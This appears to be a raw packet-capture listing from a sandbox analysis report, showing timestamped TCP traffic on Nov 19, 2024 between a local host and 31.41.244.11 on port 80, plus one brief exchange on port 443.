Nov 19, 2024 22:07:09.356952906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356966972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356971025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356987953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356990099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357018948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357023001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357042074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357059002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357074976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357091904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357095957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357110023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357146978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357170105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357207060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357259989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357274055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357291937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357310057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357338905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357342958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357361078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357372046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357379913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357399940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357405901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357419014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357445002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357466936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357470989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357481956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357498884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357516050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357532024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357539892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357579947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357582092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357623100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357626915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357645035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357670069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357677937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357692003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357692957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357711077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357717991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357729912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357748032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357764006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357772112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357781887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357805967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357814074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357826948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357846975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357861042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357865095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357884884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357889891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357906103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357913017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357935905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357939959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357955933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357960939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357973099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.357983112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.357991934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358016968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358037949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358042002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358057022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358076096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358083963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358105898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358108997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358131886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358140945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358158112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358175039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358185053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358223915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358242035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358242989 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.358259916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358264923 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.358277082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358293056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358293056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358311892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358330011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358335972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358346939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358372927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358395100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358448029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358479977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358494043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358524084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358553886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358587027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358618021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358618975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358649969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358652115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358668089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358684063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358702898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358715057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358728886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358745098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358762980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358762980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358779907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358797073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358803988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358830929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358841896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358850002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358866930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358885050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358891010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358911991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358917952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358932972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358953953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.358979940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.358985901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359009027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359019041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359034061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359044075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359050989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359080076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359082937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359101057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359116077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359117985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359152079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359164000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359179020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359190941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359194994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359211922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359229088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359229088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359261990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359263897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359280109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359302998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359333038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359348059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359365940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359383106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359395027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359400034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359416008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359435081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359438896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359467983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359479904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359486103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359502077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359513998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359519005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359534979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359551907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359555960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359584093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359596014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359615088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359632015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359646082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359658003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359663963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359700918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359721899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359724998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359743118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359760046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359776974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359786987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359795094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359822035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359858036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359880924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359895945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359910965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359926939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.359940052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.359973907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360025883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360042095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360059023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360070944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360090971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360106945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360143900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360151052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360168934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360184908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360202074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360212088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360249043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360263109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360296011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360307932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360311031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360343933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360344887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360363960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360379934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360388041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360398054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360414028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360440016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360471964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360490084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360507965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360515118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360537052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360553980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360557079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360573053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360589981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360596895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360609055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360618114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360640049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360644102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360660076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360661983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360696077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360723972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360740900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360755920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360771894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360778093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360789061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360805988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360820055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360831976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360851049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360868931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360883951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360907078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360929966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.360943079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360960960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.360991001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361001968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361022949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361025095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361051083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361053944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361076117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361102104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361114979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361129999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361159086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361166000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361206055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361232996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361251116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361289024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361293077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361310005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361313105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361327887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361346006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361349106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361365080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361373901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361397982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361412048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361432076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361443996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361476898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361478090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361495018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361510992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361519098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361529112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361541033 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361546993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361565113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361577034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361584902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361596107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361618042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361618996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361637115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361641884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361654997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361666918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361689091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361691952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361715078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361718893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361737013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361740112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361783028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361799955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361812115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361812115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361816883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361824036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361849070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361850023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361867905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361898899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361915112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361918926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361946106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361963987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361982107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.361984015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.361999035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362020016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362042904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362075090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362092018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362121105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362134933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362138033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362157106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362170935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362170935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362205982 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362216949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362270117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362289906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362306118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362322092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362345934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362356901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362361908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362379074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362380028 CET	80	49864	31.41.244.11	192.168.2.4
